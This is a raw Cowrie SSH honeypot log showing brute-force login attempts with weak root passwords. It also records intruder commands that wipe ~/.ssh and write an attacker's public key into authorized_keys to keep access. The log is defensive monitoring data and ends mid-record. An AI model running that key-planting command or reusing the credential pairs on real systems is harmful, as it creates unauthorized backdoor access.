{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":46360,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c588e1287a","protocol":"ssh","message":"New connection: 45.121.147.48:46360 (159.203.135.109:22) [session: 92c588e1287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:58.504988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:58.509227Z","src_ip":"45.121.147.48","session":"92c588e1287a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:58.738625Z","src_ip":"45.121.147.48","session":"92c588e1287a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edu","password":"edu@123","message":"login attempt [edu/edu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:59.687777Z","src_ip":"45.121.147.48","session":"92c588e1287a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:00.919254Z","src_ip":"45.121.147.48","session":"92c588e1287a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.334064245224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:04.363851Z","src_ip":"101.37.83.79","session":"3a2cfb233d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46088,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7bad8c67e39","protocol":"ssh","message":"New connection: 150.95.157.171:46088 (159.203.135.109:22) [session: a7bad8c67e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:14.330226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:14.333631Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:14.494459Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ABcd@1234","message":"login attempt [root/ABcd@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:15.187344Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:15.609092Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:15.612468Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:15.615804Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:15.785194Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.148992Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.151903Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.324787Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.328011Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46812,"dst_ip":"159.203.135.109","dst_port":22,"session":"e333823d6442","protocol":"ssh","message":"New connection: 150.95.157.171:46812 (159.203.135.109:22) [session: e333823d6442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.472826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.480513Z","src_ip":"150.95.157.171","session":"e333823d6442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:16.635061Z","src_ip":"150.95.157.171","session":"e333823d6442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:17.263201Z","src_ip":"150.95.157.171","session":"e333823d6442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.103252410888672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:17.540644Z","src_ip":"101.37.83.79","session":"fa76633a229d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:18.426959Z","src_ip":"150.95.157.171","session":"e333823d6442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":47398,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad365cafdb6","protocol":"ssh","message":"New connection: 150.95.157.171:47398 (159.203.135.109:22) [session: aad365cafdb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:18.578334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:18.582902Z","src_ip":"150.95.157.171","session":"aad365cafdb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:18.738584Z","src_ip":"150.95.157.171","session":"aad365cafdb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:19.411523Z","src_ip":"150.95.157.171","session":"aad365cafdb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:19.574056Z","src_ip":"150.95.157.171","session":"aad365cafdb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:19.578650Z","src_ip":"150.95.157.171","session":"a7bad8c67e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":56940,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9b4141ee61","protocol":"ssh","message":"New connection: 172.172.196.177:56940 (159.203.135.109:22) [session: 0d9b4141ee61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.749494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.754275Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.763930Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13579","message":"login attempt [root/13579] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.835774Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.894445Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.897996Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.900894Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.912928Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.965599Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.968771Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.983639Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.987169Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":56950,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66072b3874b","protocol":"ssh","message":"New connection: 172.172.196.177:56950 (159.203.135.109:22) [session: b66072b3874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.993040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:23.996071Z","src_ip":"172.172.196.177","session":"b66072b3874b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openss